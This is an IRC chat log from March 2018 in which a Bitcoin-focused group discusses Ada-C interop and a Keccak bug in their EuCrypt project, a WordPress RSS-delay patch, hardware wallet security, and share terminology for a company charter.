1786566;1519863883;BingoBoingo;This month's Qntra report http://qntra.net/2018/03/qntra-s-qntr-february-2018-report/ follows http://qntra.net/2018/01/qntra-s-qntr-september-2017-report/ fuck that was a long interruption.
1786567;1519864255;trinque;there appear to be freenode shenanigans today
1786568;1519864386;mod6;Ladies and Gentlemen of The Most Serene Republic, The Bitcoin Foundation - State of Bitcoin Address will be delayed maybe a few days -- however it will be published by March 5th, regardless.
1786569;1519870562;deedbot;http://www.thedrinkingrecord.com/2018/02/28/burning-fat-and-intangibles/ << Bingo Blog - Burning Fat and Intangibles
1786570;1519875438;deedbot;http://barksinthewind.com/2018/vtools-keccak/ << BARKS IN THE WIND - vtools keccak
1786571;1519875585;phf;sorry about this, i haven't finished writing it, fat fingered publish button, and then couldn't figure out how to unpublish before it hit rss.
1786572;1519877299;ben_vulpes;!~ticker --market all
1786573;1519877318;jhvh1;ben_vulpes: Bitstamp BTCUSD last: 10410.19, vol: 9933.06242394 | Bitfinex BTCUSD last: 10410.0, vol: 41445.27736275 | Kraken BTCUSD last: 10379.0, vol: 8887.54960204 | Volume-weighted last average: 10405.4596745
1786574;1519878811;mircea_popescu;phf "edit post" button, set it to unpublished. is your rss delayed ?
1786575;1519879342;mircea_popescu;meanwhile in improbable mechanics, http://78.media.tumblr.com/afc4ed4dda0db48e2b97ab50093c4180/tumblr_mxhyib1FIP1s8mpxbo1_400.gif
1786576;1519883611;phf;i suspect my rss is not delayed, because it went out barely 15 seconds after i published
1786577;1519883961;mircea_popescu;so delay it.
1786578;1519883977;mircea_popescu;nice to fix typos in titles and whatnot. at least for me.
1786579;1519884011;phf;is that a wp admin setting, or apache?
1786580;1519884019;mircea_popescu;lemme see a sec.
1786581;1519884688;mircea_popescu;phf http://p.bvulpes.com/pastes/0sNZE/?raw=true
1786582;1519884842;phf;aah ty
1786583;1519884868;phf;i think there might still be a bunch of cool stuff like that hidden in your themes, that's not in wp-mp
1786584;1519884880;mircea_popescu;one way to find out
1786585;1519885051;phf;mircea_popescu: i think a line got lost at $where .= ...
1786586;1519885072;mircea_popescu;ah ta
1786587;1519885159;mircea_popescu;phf                 $where .= " AND TIMESTAMPDIFF($device, $wpdb->posts.post_date_gmt, '$now') > $wait ";
1786588;1519885224;phf;i think there's still something missing
1786589;1519885265;mircea_popescu;hm.
1786590;1519885287;phf;oh wait now it's my irc client adding random stuff
1786591;1519885290;phf;*no
1786592;1519885328;mircea_popescu;http://p.bvulpes.com/pastes/eL4bt/?raw=true << final variant
1786593;1519885389;phf;ok got it now, ty
1786594;1519885409;phf;"wait 3 DAY" aight, i got this.
1786595;1519885619;mircea_popescu;lol
1786596;1519894203;ben_vulpes;!!ticker --market all
1786597;1519894318;ben_vulpes;shinohai: does this still work?
1786598;1519911951;spyked;hey phf! I get the "stale page" error when trying to comment on http://barksinthewind.com/2018/vtools-keccak/ ; I also tried leaving a "fresh" comment, but I get the same error ( http://btcbase.org/log/2018-02-18#1784931 should fix it?)
1786599;1519911951;a111;Logged on 2018-02-18 23:23 hanbot: <mircea_popescu> "Looks like you tried to comment off a stale page. Reload the article, count to three and try again." << for future reference, mp-wp comment fix is in the edit here: http://thewhet.net/2017/10/a-compendium-of-possibly-helpful-stuffs-for-erecting-mircea-popescus-wordpress-with-nearly-free-speech-hosting/ , and will be a patch once that project can move again.
1786600;1519912333;spyked;anyway, comment was that I managed to compile and run vdiff with small mods; error: http://p.bvulpes.com/pastes/BiBTI/?raw=true and fix patch: http://p.bvulpes.com/pastes/9mOiz/?raw=true (tested this with the generated vdiff); I can try to link this reply later in a comment to test.
1786601;1519914087;shinohai;ben_vulpes:
1786602;1519914096;shinohai;!~ticker --martket all
1786603;1519914096;jhvh1;shinohai: (ticker [--bid|--ask|--last|--high|--low|--avg|--vol] [--currency XXX] [--market <market>|all]) -- Return pretty-printed ticker. Default market is Bitfinex. If one of the result options is given, returns only that numeric result (useful for nesting in calculations). If '--currency XXX' option is given, returns ticker for that three-letter currency code. It is up to you to make sure the code is a valid currency (1 more message)
1786604;1519914111;shinohai;!~ticker --market all
1786605;1519914113;shinohai;duh
1786606;1519914120;jhvh1;shinohai: Bitstamp BTCUSD last: 10770.0, vol: 8502.77353360 | Bitfinex BTCUSD last: 10784.68294217, vol: 31154.47218217 | Kraken BTCUSD last: 10786.0, vol: 7708.78240515 | Volume-weighted last average: 10782.261527
1786607;1519920962;deedbot;http://qntra.net/2018/03/ssl-certificate-reseller-leaks-private-keys/ << Qntra - SSL Certificate Reseller Leaks Private Keys
1786608;1519923144;deedbot;http://qntra.net/2018/03/very-cold-britain-running-out-of-natural-gas/ << Qntra - Very Cold Britain Running Out Of Natural Gas
1786609;1519926989;ben_vulpes;shinohai: is this an "it works now" or "you did it wrong" sort of thing. fwiw i expect the former in the form of "it was broken because of X, i did Y to fix it, and Z to prevent it from happening again" not that you're my direct report or anything
1786610;1519927020;BingoBoingo;ben_vulpes: It was the former, you did !!, bot listens to !~
1786611;1519927035;ben_vulpes;BingoBoingo: ah thanks
1786612;1519927068;ben_vulpes;if my meatware differ didn't catch it coming out of my fingers the first time it likely won't catch it when presented with the correct version
1786613;1519927086;BingoBoingo;That is a hazard
1786614;1519927196;ben_vulpes;mircea_popescu diana_coman: my mistake, the box is not raid5 compatible, it can do raid1 and raid10. is this okay and do you have a preference between the two?
1786615;1519927265;shinohai;sorry if i offend ben_vulpes i meant the "Duh" towards myself, because i flagged help instead of of tcker
1786616;1519927307;ben_vulpes;having worked to memorize the bot keycombos for some time now, i would particularly like it if they would respond to their names. this approach autocompletes for one and is far more easily visually diffed, for another.
1786617;1519927648;shinohai;jhvh1: ticker
1786618;1519927662;shinohai;hmm
1786619;1519927771;ben_vulpes;gotta point out that this is out-of-spec behavior as is
1786620;1519927855;ben_vulpes;!~ticker --market all
1786621;1519927873;jhvh1;ben_vulpes: Bitstamp BTCUSD last: 10845.0, vol: 9025.34975079 | Bitfinex BTCUSD last: 10864.0, vol: 31700.14010236 | Kraken BTCUSD last: 10845.2, vol: 7760.80742628 | Volume-weighted last average: 10857.4541336
1786622;1519928347;ben_vulpes;!~later tell mircea_popescu may i buy one of the power supplies out of the S.NSA inventory asciilifeform's posession? i'll pay you .0047 btc for it
1786623;1519928347;jhvh1;ben_vulpes: The operation succeeded.
1786624;1519929595;phf;http://btcbase.org/log/2018-03-01#1786598 << amusingly the fix is on my own blog http://barksinthewind.com/2016/wp-content-for-a/#update1  but i must've lost the changes when i was updating the theme
1786625;1519929595;a111;Logged on 2018-03-01 13:45 spyked: hey phf! I get the "stale page" error when trying to comment on http://barksinthewind.com/2018/vtools-keccak/ ; I also tried leaving a "fresh" comment, but I get the same error ( http://btcbase.org/log/2018-02-18#1784931 should fix it?)
1786626;1519929684;phf;http://btcbase.org/log/2018-03-01#1786600 << which os/compiler is that? i suspect that i'll have to put all the annotations into system.h  defines and let specific systems pass whatever in a makefile.
1786627;1519929684;a111;Logged on 2018-03-01 13:52 spyked: anyway, comment was that I managed to compile and run vdiff with small mods; error: http://p.bvulpes.com/pastes/BiBTI/?raw=true and fix patch: http://p.bvulpes.com/pastes/9mOiz/?raw=true (tested this with the generated vdiff); I can try to link this reply later in a comment to test.
1786628;1519929732;ben_vulpes;!~later tell mircea_popescu disregard
1786629;1519929733;jhvh1;ben_vulpes: The operation succeeded.
1786630;1519930292;phf;comments are fixed
1786631;1519930328;deedbot;http://www.thedrinkingrecord.com/2018/03/01/back-to-the-fat-accountancy-discussion/ << Bingo Blog - Back To The Fat Accountancy Discussion
1786632;1519930912;ave1;diana_coman: this, http://btcbase.org/log/2018-02-28#1786496, triggered a short dive into the whole array sending mechanism in Ada. Will write it up and post tomorrow, yes it is possible but you'll need to make some internal structure that Ada uses. Also I doubt it is much better than sending the pointer with a separate length parameter.
1786633;1519930912;a111;Logged on 2018-02-28 15:07 diana_coman: ave1 have you ever passed a char * from c to ada in such a way that ada actually sees the correct length for it? there is something I don't quite understand there as To_C seems to use Target'Length so the length should be set
1786634;1519930989;ave1;mircea_popescu, http://btcbase.org/log/2018-02-28#1786498, which parts of gpg (I can image plain text signing, encryption and decryption).?
1786635;1519930989;a111;Logged on 2018-02-28 15:57 mircea_popescu: ave1 you should ; also read through the eucrypt thing, ima (for instance) need someone to package it into a cmd line gpg replacement as soon as next wek.
1786636;1519931027;ave1;Also does this have to follow the gpg format? or simply hex encoded numbers?
1786637;1519931201;diana_coman;ave1, my current solution is to pass the length as a separate parameter indeed and in addition to actually copy octet by octet; To_C and To_Ada still fail me on occasion so I can't really rely on them - this might be of course because I don't fully understand them yet; in any case, please write it up, pretty please
1786638;1519931247;diana_coman;no requirement re format, it's really: pass this here char * to Ada safely and recover this String from Ada via an "out String" parameter (char * on C side)
1786639;1519931309;diana_coman;calling from C something that might look like this in ada: procedure getstring(input: in Interfaces.C.char_array; Output out Interfaces.C.char_array)
1786640;1519931327;ave1;I will, I will, it seems these write-ups explode in depth when doing them!
1786641;1519931342;*;diana_coman is still toiling on writing this monster chapter 12 eucrypt...
1786642;1519931354;diana_coman;so yes, I totally hear you, ave1
1786643;1519932688;phf;diana_coman: take a look at my recent code for ada/c interop. i've not read your C code closely, but i think you might be missing Trim_Nul => False/Append_Nul => False on your to_c to to_ada, which would trigger sporadic exceptions in the interface code
1786644;1519932858;phf;http://btcbase.org/patches/eucrypt_ch10_oaep_tmsr/tree/eucrypt/smg_keccak/smg_oaep.adb#L29  http://btcbase.org/patches/vdiff_keccak/tree/vtools/src/keccak_c.adb#L63
1786645;1519932953;diana_coman;phf, hm, I *did* use those; the trouble is that in principle the rsa stuff is *not* null terminated as such and I couldn't get them to work properly in such case (or is it not even possible, regardless of passing the length?)
1786646;1519932985;phf;well, so you want them disable, by default they are enabled
1786647;1519933010;diana_coman;yes, I disable them
1786648;1519933073;diana_coman;and it sometimes stops too soon, basically it fails to copy everything ( this is To_Ada but To_C was even more hairy)
1786649;1519933118;diana_coman;obviously, I could also null-terminate specifically for this but overall I'm not convinced anymore it's worth the mess
1786650;1519933130;phf;interesting
1786651;1519933940;phf;it's hard to say what might be failing without seeing the code, but i couldn't get your Hash working out of the box (it was giving me bounadry errors out of the box), i've not gotten back to it though
1786652;1519933988;diana_coman;phf, yes, meanwhile I changed that Hash too, to use same method so that it works out of the box basically
1786653;1519934029;diana_coman;that Hash was the very first attempt, taking To_C and To_Ada at face value
1786654;1519934053;phf;i see
1786655;1519934068;diana_coman;anyways, I'll publish a bit later today chapter 12 and it has the updated Hash too
1786656;1519934300;phf;i'll try my implementation against arbitrary binary data, because right now i'm still passing in C strings essentially. (i've discovered the null trim issue because one of the buffers ran short, and had stale data in it, so ada was getting a character, where null was expected, but the data itself didn't have anything umseemly about it)
1786657;1519934487;phf;diana_coman: i was also getting some boundary issues with different bitrate issues, i couldn't figure out if it can take any natural value, or there's some specifica subranges that i have to stick to. when i spot checked with values like 1200 (or whatever), it would fail deep inside absorbblock. i'll test it again not that i have a bit of free time and see if i can reproduce
1786658;1519934494;phf;*bitrate values
1786659;1519934554;diana_coman;phf, the bitrate has to be less than the total capacity (it should fail however earlier since the Keccak_Rate type is limited correctly)
1786660;1519934595;phf;so anything in 1-1233 should work?
1786661;1519934604;diana_coman;Keccak_Rate is a subrange itself
1786662;1519934625;diana_coman;what did you call exactly?
1786663;1519934721;diana_coman;the default bitrate is 1344 actually; the subrange is between 1 and width of state
1786664;1519934734;phf;Sponge, presumably it should take any length bitstreams for input/output, and some value of bitrate between 1-width. i was calling it with some 10-1000 bitstreams, and a value of bitrate somewhere around 1200
1786665;1519934776;phf;i'm trying to establish if i was seeing a bug, and if it sounds like i might've been i'll try and track it down again
1786666;1519934904;diana_coman;myeah, from what you say alone it does sound like some error but it's not clear without the concrete case
1786667;1519935116;diana_coman;fwiw the bit-level one is meant for any bit numbers stuff; the word-level was in principle set for octet-multiples
1786668;1519935132;diana_coman;but anyway, if there is a problem there I want to hear about it
1786669;1519935595;phf;kk, i'm using the octet one by the way. i should try and drop in the bit level one into the current codebase just to see how that works
1786670;1519936946;spyked;http://btcbase.org/log/2018-03-01#1786626 <-- I ran it on Debian/Adacore 2016 -- system ld is version 2.29.1, and I expect Adacore uses that instead of its own, otherwise I can't explain the behaviour. I'll also give it a try on a Gentoo with same adacore. static inline should be safe from the pov of linkage, but yeah, there's a more general problem there that might benefit from a config.h/system.h or something similar. that or a
1786671;1519936946;a111;Logged on 2018-03-01 18:41 phf: http://btcbase.org/log/2018-03-01#1786600 << which os/compiler is that? i suspect that i'll have to put all the annotations into system.h  defines and let specific systems pass whatever in a makefile.
1786672;1519936952;spyked;buildroot env that pins down all these moving parts...
1786673;1519937127;deedbot;http://www.dianacoman.com/2018/03/01/eucrypt-chapter-12-wrapper-c-ada-for-rsa-oaep/ << Ossasepia - EuCrypt Chapter 12: Wrapper C-Ada for RSA + OAEP
1786674;1519937274;diana_coman;http://btcbase.org/log/2018-02-25#1786083 <- EuCrypt?
1786675;1519937274;a111;Logged on 2018-02-25 21:49 trinque: somebody gimme a better rsatron and I'll use that instead.
1786676;1519937378;ben_vulpes;lol i was waitin for that
1786677;1519937814;mircea_popescu;http://btcbase.org/log/2018-03-01#1786609 << lol you asked deedbot, jhvh1 is !~.
1786678;1519937814;a111;Logged on 2018-03-01 17:56 ben_vulpes: shinohai: is this an "it works now" or "you did it wrong" sort of thing. fwiw i expect the former in the form of "it was broken because of X, i did Y to fix it, and Z to prevent it from happening again" not that you're my direct report or anything
1786679;1519937856;mircea_popescu;uh k.
1786680;1519937874;mircea_popescu;a lol, the very next line. ok!
1786681;1519937878;shinohai;the bickening !!!
1786682;1519937895;mircea_popescu;lol
1786683;1519937911;mircea_popescu;http://btcbase.org/log/2018-03-01#1786614 << raid 10, sure.
1786684;1519937911;a111;Logged on 2018-03-01 17:59 ben_vulpes: mircea_popescu diana_coman: my mistake, the box is not raid5 compatible, it can do raid1 and raid10. is this okay and do you have a preference between the two?
1786685;1519937964;ben_vulpes;mircea_popescu: rgr
1786686;1519937974;mircea_popescu;http://btcbase.org/log/2018-03-01#1786616 << just learn a two keystroke combo wth, you know ctrl-^ / ctrl-k but can't do !~ ? name calling is for people not for bots.
1786687;1519937974;a111;Logged on 2018-03-01 18:01 ben_vulpes: having worked to memorize the bot keycombos for some time now, i would particularly like it if they would respond to their names. this approach autocompletes for one and is far more easily visually diffed, for another.
1786688;1519938031;mircea_popescu;http://btcbase.org/log/2018-03-01#1786634 <<
1786689;1519938031;a111;Logged on 2018-03-01 19:03 ave1: mircea_popescu, http://btcbase.org/log/2018-02-28#1786498, which parts of gpg (I can image plain text signing, encryption and decryption).?
1786690;1519938051;mircea_popescu;http://btcbase.org/log/2018-03-01#1786634 << just about, yes.
1786691;1519938051;a111;Logged on 2018-03-01 19:03 ave1: mircea_popescu, http://btcbase.org/log/2018-02-28#1786498, which parts of gpg (I can image plain text signing, encryption and decryption).?
1786692;1519938091;mircea_popescu;pipe though! i want cat x.txt > rrsa -aer stan > y.txt or some sane equivalent.
1786693;1519938115;mircea_popescu;it doesn't have to follow any format but reason.
1786694;1519938137;mircea_popescu;note though that base-whatever is in fact more compact than hexencode.
1786695;1519938455;mircea_popescu;http://btcbase.org/log/2018-03-01#1786657 << sounds like all the makings of a beautiful race condition.
1786696;1519938455;a111;Logged on 2018-03-01 20:01 phf: diana_coman: i was also getting some boundary issues with different bitrate issues, i couldn't figure out if it can take any natural value, or there's some specifica subranges that i have to stick to. when i spot checked with values like 1200 (or whatever), it would fail deep inside absorbblock. i'll test it again not that i have a bit of free time and see if i can reproduce
1786697;1519942210;ben_vulpes;mircea_popescu: statement amended, questions addressed
1786698;1519942229;ben_vulpes;!~later tell PeterL i've responded to your comment
1786699;1519942229;jhvh1;ben_vulpes: The operation succeeded.
1786700;1519942231;*;mircea_popescu shall read after lunch
1786701;1519942327;BingoBoingo;Disfruta tu almuerzo
1786702;1519942466;deedbot;http://trilema.com/2018/heres-how-pantsuitism-christianity-ruined-civilisation-in-both-the-ancient-and-the-modern-world/ << Trilema - Here's how pantsuitism / christianity ruined civilisation, in both the Ancient and the Modern world.
1786703;1519944865;BingoBoingo;shinohai: There is plenty of source material to cite. Care to write up for Qntra a summary of February's events in the Republic?
1786704;1519947134;trinque;nobody could have predicted scrolling and searching in weechat at the same time.
1786705;1519949264;mircea_popescu;lol
1786706;1519961071;mircea_popescu;ben_vulpes the saga continues (and also, you have what looks like a stranded > right after the "leave your comment" heading)
1786707;1519983431;ben_vulpes;mircea_popescu: appreciate the continued scrutiny, will respond tomorrow
1786708;1520001748;mod6;mornin'
1786709;1520002838;mircea_popescu;asciilifeform obviously the question becomes : should ave1 complete the 0-footprint eucrypt wrapper, can the next nsa product be a push-button decryptor -- specificaly a usb-like stick with a button, which produces a decrypted.filename for every filename found on stick at button push ?
1786710;1520003594;mircea_popescu;should self-populate with a key by contact with a fg, and should be able to readily destroy the key.
1786711;1520003789;BingoBoingo;AHA, cardano part 2
1786712;1520003842;mircea_popescu;ikr.
1786713;1520003856;mircea_popescu;slightly but essentially different through hard earned intangibles aka experience.
1786714;1520003865;mircea_popescu;spyked that's an epic 2010 piece, im translating.
1786715;1520003955;BingoBoingo;That is the kicker.
1786716;1520004288;asciilifeform;let's posit that asciilifeform were willing to put his signature ever again on kochware. ( he ain't. ) how would the key get on the device ? ( i.e. is this exactly the orig cardano ? )
1786717;1520004410;asciilifeform;oh it's in the log isnnit.
1786718;1520004451;asciilifeform;it so happens that i've designed exactly such a device. but it will be filled with ffaware, not koch. and all things in their proper time.
1786719;1520004587;asciilifeform;while i have a few min on the clock : attn folx : there are 7 unsold FG units in my inventory; of which 6 are currently installed in snsa boxen waiting for their day in the rack; this leaves 1 'bachelor' FG. if someone wishes to buy this one, talk to mircea_popescu for where to pay.
1786720;1520004646;mircea_popescu;asciilifeform no kochware involved though.
1786721;1520004661;mircea_popescu;and eucrypt has a "generate key from fg" function.
1786722;1520004667;asciilifeform;eucrypt is kochware.
1786723;1520004677;mircea_popescu;diana_coman signed it, what r u talking ?
1786724;1520004687;asciilifeform;lol i also signed the original. but it is still kochware.
1786725;1520004691;asciilifeform;there is no magic in this world.
1786726;1520004701;mircea_popescu;there is no magic outside of the republic.
1786727;1520004709;mircea_popescu;the world "republic" isn't lincolnware either.
1786728;1520004719;asciilifeform;there unfortunately is also not a shit-to-gold converter in or out of the republic.
1786729;1520004728;mircea_popescu;(re the above fg, it ain't for sale ; we'll eventually make a new batch, but it isn't a high priority yet.)
1786730;1520004735;asciilifeform;aite
1786731;1520004742;mircea_popescu;so basically ima have to make a new nsa to make the item in question ?
1786732;1520004756;asciilifeform;mircea_popescu: i thought you already had one of these tho. the dos lappy.
1786733;1520004773;mircea_popescu;idea is for it to be a push-button stick, so you can !!v from internet cafe without worry.
1786734;1520004797;asciilifeform;know what, how about we make a device; and owner can load it with what he likes. sane crypto-iron platform.
1786735;1520004809;asciilifeform;( iirc mircea_popescu in 2013 used phrase 'nintendo for crypto' )
1786736;1520004811;mircea_popescu;mno. too large device.
1786737;1520004822;asciilifeform;not large, necessarily.
1786738;1520004831;mircea_popescu;the whole idea of 0-footprint is to have something you can unroll into iron.
1786739;1520004832;asciilifeform;256K of rom, say.
1786740;1520004842;asciilifeform;this item needs moarthought.
1786741;1520004843;mircea_popescu;as a dry-run for the eventual iron production.
1786742;1520004850;mircea_popescu;asciilifeform im surte it does, which is why i bring it up.
1786743;1520004930;asciilifeform;i'ma definitely think. but presently asciilifeform must go and tea and then backtowurk. so bbl.
1786744;1520004936;mircea_popescu;laters.
1786745;1520005055;deedbot;http://qntra.net/2018/03/attacks-in-ouagadougou-hit-french-embassy-and-other-sites/ << Qntra - Attacks In Ouagadougou Hit French Embassy And Other Sites
1786746;1520006183;mircea_popescu;!!up Guest45857
1786747;1520006184;deedbot;Guest45857 voiced for 30 minutes.
1786748;1520006275;Guest45857;hello, i would like to ask about trezor security. in your opinion is safer a properly air gapped computer or specific hardware wallet like trezor?
1786749;1520006309;Guest45857;tried to navigate through logs but nothing relevant found about it
1786750;1520006346;mircea_popescu;!#s trezor
1786751;1520006346;a111;186 results for "trezor", http://btcbase.org/log-search?q=trezor
1786752;1520006357;mircea_popescu;seems plenty, how did you try to navigate ?
1786753;1520006478;Guest45857;i've queried "hardware wallet"
1786754;1520006531;mircea_popescu;yes well, let's not confuse the inept products of idiots with the broader categories. trezor is a specific piece of shit, not something as lofty as "a hardware wallet".
1786755;1520006683;Guest45857;so i assume is considered crap. Asking this cause i've one and i was thinking to be on the safe side. Should i discard every hardware wallet or is there something significantly better than trezor?
1786756;1520006798;mircea_popescu;there is not at present anything significantly better ; and it is crap. not a matter of it "being considered", it is sheer crap, provedly so, on its own factual record of usage that it won't face or consider, let alone theoretical consideration by people who (unlike the rank imbeciles involved in its production) actually understand the world.
1786757;1520006862;mircea_popescu;ask yourself : why do you learn of say http://qntra.net/2017/08/trezor-others-affected-by-fault-injection-may-leak-keys/ from me ?
1786758;1520006876;mircea_popescu;shouldn't you have been already aware of this ? if the "trezor" wasn't patent medicine, that is ?
1786759;1520007028;Guest45857;thanks for the article. I'll do my due diligence swapping storage solution asap
1786760;1520007147;Guest45857;Is this guide still valid? http://trilema.com/2013/how-to-airgap-a-practical-guide/
1786761;1520007255;mircea_popescu;yes.
1786762;1520007349;mircea_popescu;i might propose to you that perhaps the more pressing problem isn't how you store your coin but how you populate your thinking table ; but i suspect you are already well aware.
1786763;1520008719;deedbot;http://trilema.com/2018/the-problem-with-christians/ << Trilema - The problem with christians
1786764;1520009582;mircea_popescu;and in breakfast suggestions : slice homemade bread, spread aguacate on it, flake smoked trout atop the aguacate, cut sweet red onion on top of the trout, serve with a mug of leche agria on your balcony of splendid views.
1786765;1520011388;mod6;mircea_popescu: Can I get your opinion on this quick regarding the Charter for Pizarro?
1786766;1520011391;mod6;http://logs.bvulpes.com/pizarro?d=2018-3-2#310298
1786767;1520011416;mircea_popescu;sure. ima read it today an' let you know.
1786768;1520011426;mod6;Awesome, thank you!
1786769;1520012651;mircea_popescu;mod6 did you mislink me ?
1786770;1520012711;mod6;hmm. i dont think so?
1786771;1520012723;mod6;one sec
1786772;1520012764;ben_vulpes;doesn't highlight, sadly
1786773;1520012783;mircea_popescu;ben_vulpes i compared numbers, comes to a jurov line
1786774;1520012817;mircea_popescu;but since we're on this, i suspect the lack of readout bot is the principal bar to bvulpes log adoption ; not that i expect you gas at this juncture
1786775;1520012831;mod6;ah, yeah, it's slightly more grey than the others.  stars here:  jurov: ben_vulpes: and the foundation loan == Stock Warrant #1 in pizarro's report?
1786776;1520012833;ben_vulpes;it works everywhere but trilema, sadly
1786777;1520012851;mircea_popescu;mod6 where's the charter itself ?
1786778;1520012864;mod6;let me link, one sec.
1786779;1520012885;mod6;http://pizarroisp.net/wp-content/uploads/2018/02/charter_mod6.txt
1786780;1520012936;mircea_popescu;aite
1786781;1520014299;mircea_popescu;mod6 the usual terminology re shares is "subscribed". the reason has to do with history. the way business has worked (mostly in italy, which is where it was invented, five centuries ago) was that 1. some people got together united by their recognition of a solution to some problem ; 2. that then evaluated the costs of implementing such solution (often the case -- the cost was to outfit a ship and the problem was "there's no s
1786782;1520014300;mircea_popescu;pices in the ferrara market"). this then was called the "authorized capital". 3. the item was then circulated (among the savy, the l2 of the time) and all those interested in participation wrote their name at the bottom of the paper (subscribed, or underwrote. the term is still used in insurance, very much in this sense).
1786783;1520014336;mircea_popescu;then as the preliminaries were done and the thing was starting to move capital was "called up", ie, joe you underwrote 10`000 shares, now's the time to pay up so and so moneys.
1786784;1520014354;mircea_popescu;and from thence to this day, shares are subscribed, then their capital is called up and paid.
1786785;1520014565;mircea_popescu;so something like "pizarro incorporated, issued 1`100`000 shares with a par value of 100 satoshi each,  subscribed by mod6 (500`000) ; asciilifeform (500`000) and TBF (100`000)" would be more in the regular form of these things.
1786786;1520014614;mircea_popescu;this aside -- you certainly can also have the foundation simply hold a convertible debt ; but bear in mind that it can't possibly hold a seat on the board until such a time as it converts that bond and gets shares.
1786787;1520014670;mircea_popescu;it's also a confusion of layers to name employees in the charter. what happens if you decide to hire ben_vulpes' son to manage it eventually, recharter ?
1786788;1520014712;*;ben_vulpes can see it
1786789;1520014801;mircea_popescu;and since we're doing history lesson : the reason the option is called "CALL" is because of its functional equivalence to the... calling of capital for subscribed shares. basically what you're selling there is the... right for someone to... CALL the cash equity as if the share had just been subscribed. you "resubscribe" it so to speak, it's a fictitious revirgination of the holy mother.
1786790;1520014833;mircea_popescu;much like the reason dollar bills are called BILLS is because banks came up with the bright idea of selling... bills to themselves. you know how if you go to the restaurant and eat there, they bring you a bill, which you oblige yourself to pay ?
1786791;1520014865;mircea_popescu;JUST SO, the bank ~sold~ people bills to itself. if you pay the bank $5, you get in exchange... a bill for $5, that you can give to the bank, as if the bank had sat in your restaurant and ate $5 worth.
1786792;1520014879;mircea_popescu;literally, you're buying from the bank the putting of the bank in the position of having eaten in your restaurant.
1786793;1520014922;*;mod6 reads
1786794;1520015159;mircea_popescu;(in this discussion, the $ stands for the dollar, which however denotes the taler, a weight of gold (or perhaps sivler ? highly contentious matter at the time, this), not fictitious lincolnite bs.)
1786795;1520015228;mod6;Thanks for outlining all of this.
1786796;1520015232;mircea_popescu;np
1786797;1520018776;mircea_popescu;incidentally asciilifeform, how are we getting the nsa boxen over to uruguay ? you feel like taking a trip ?
1786798;1520018821;asciilifeform;mircea_popescu: seems like it is indeed my turn.
1786799;1520018864;BingoBoingo;The prime window to take trips is before the end of this month when summer ends and the tourism allegedly disappears.
1786800;1520018887;asciilifeform;BingoBoingo: prime as in cheapest, or some other consideration
1786801;1520018965;mircea_popescu;it's about the same, 1200ish +- 100 via panama if bought 2-3 weeks in advance
1786802;1520019011;asciilifeform;notbad
1786803;1520019013;BingoBoingo;asciilifeform: Prime as in the country expects guests coming for the beaches, and there being the tourism infastructure turned on in case you want to do some sightseeing.
1786804;1520019099;BingoBoingo;Otherwise I am told it gradually gets colder, windier, and wetter. Like a Latino London barely lucky enough to avoid snow.
1786805;1520019161;mircea_popescu;then again locals' notions of what constitutes coldness show a clear innocence of the arctic.
1786806;1520019167;asciilifeform;speaking of wind, possibly record-breaking wind atm in asciilifeformistan, wooden hovel groaning, trees breaking
1786807;1520019192;mircea_popescu;i read "trees barking"
1786808;1520019195;mircea_popescu;"what, at dogs ?"
1786809;1520019229;BingoBoingo;mircea_popescu: It is a fine degree less innocence than say... the Brasileros
1786810;1520019356;mircea_popescu;i guess.
1786811;1520019465;BingoBoingo;Brasileros break out the heavy coats when night temperatures fall below 20C, the Uruguayos tend to use lighter jackets and give it a few more degrees 16-18C is when their low temperature reactions get triggered.
1786812;1520019688;mircea_popescu;then again there's that scene with teeny bopper chicks at the north sea, on the "beach", wind so cutting i was glad for my greatcoat. im sure it's in the logs somewhere but beyond 5 minute's search.
1786813;1520019806;BingoBoingo;Ah yeah, the girlie reactions to the cold depend on sirve o no
1786814;1520019975;deedbot;http://www.thedrinkingrecord.com/2018/03/02/notes-from-observing-a-latino-junkie-on-vacation/ << Bingo Blog - Notes From Observing A Latino Junkie On Vacation
1786815;1520020561;*;asciilifeform sees BingoBoingo's photo, and nearly asks 'where didja get the SGI Indigo' and then realizes 'suitcase'
1786816;1520020672;BingoBoingo;Aha, photo from a few weeks ago, taken for that reason.
1786817;1520041654;ben_vulpes;!~ticker --market all
1786818;1520041662;jhvh1;ben_vulpes: Bitstamp BTCUSD last: 11220.72, vol: 8218.88386307 | Bitfinex BTCUSD last: 11246.0, vol: 28138.8317461 | Kraken BTCUSD last: 11237.6, vol: 5660.52758134 | Volume-weighted last average: 11239.9235485
1786819;1520041687;ben_vulpes;dag rallymode?
1786820;1520045191;mircea_popescu;if it's not one it's gotta be the other...
1786821;1520045402;mircea_popescu;meanwhile in earnest eagerness, http://78.media.tumblr.com/e72f1ab924d810814da5a2e2eeea1ac8/tumblr_n88to6ujLN1t6to6ho1_1280.jpg
1786822;1520045531;mod6;daaaang
1786823;1520045633;mircea_popescu;yeah ?
1786824;1520045646;mod6;yeah!
1786825;1520045651;mircea_popescu;hehe
1786826;1520047967;phf;diana_coman: btcbase is claiming that i'm missing proper antecedents for smg_oaep.adb/ads, but i think i have all your vpatches. can you please check http://btcbase.org/patches?patchset=eucrypt&search= and let me know if i'm missing something
1786827;1520048073;phf;(for ch12)
1786828;1520053448;mod6;My vtron also fails on this as well.  I have a whole write up here.  Stand by:
1786829;1520053567;mod6;http://p.bvulpes.com/pastes/8sG8I/?raw=true
1786830;1520058405;phf;diana_coman: when i run this code http://p.bvulpes.com/pastes/cW0FU/ i get the output http://p.bvulpes.com/pastes/ZDEOs/?raw=true
1786831;1520058477;phf;i get identical result if i play with bitstream sizes (including changing bin to 1-base)
1786832;1520063595;diana_coman;phf, the oaep_fix_checks seems to be missing and that's possibly also creating trouble otherwise since you're running the code without the fix
1786833;1520063603;diana_coman;this one: http://www.dianacoman.com/2018/02/20/eucrypt-corecting-error-in-oaep-check/
1786834;1520063665;diana_coman;I'll have a look at the bitstream /rate issue too, thank you; I'll get back later today on it
1786835;1520063892;diana_coman;mod6,  thank you for the detailed write-up on the vpatch issue; I'm not sure it makes sense or even helps to name as "chapters" fixes so people don't miss them in the future since this happened with the mpi_fix before just the same
1786836;1520076821;diana_coman;phf, any bitrate above 1600 will correctly fail there since bitrate cannot be more than the total length of state (and that's 1600 unless you change the knobs); this being said, there IS an error too and it's one of those that show I need to sleep more: I got ToPos and FromPos flipped around and failed to notice it ...; so big thank you for testing this! correction, patch & post coming later today
1786837;1520076890;diana_coman;that's why it failed on anything that wasn't either 8*n or 8*n + 1
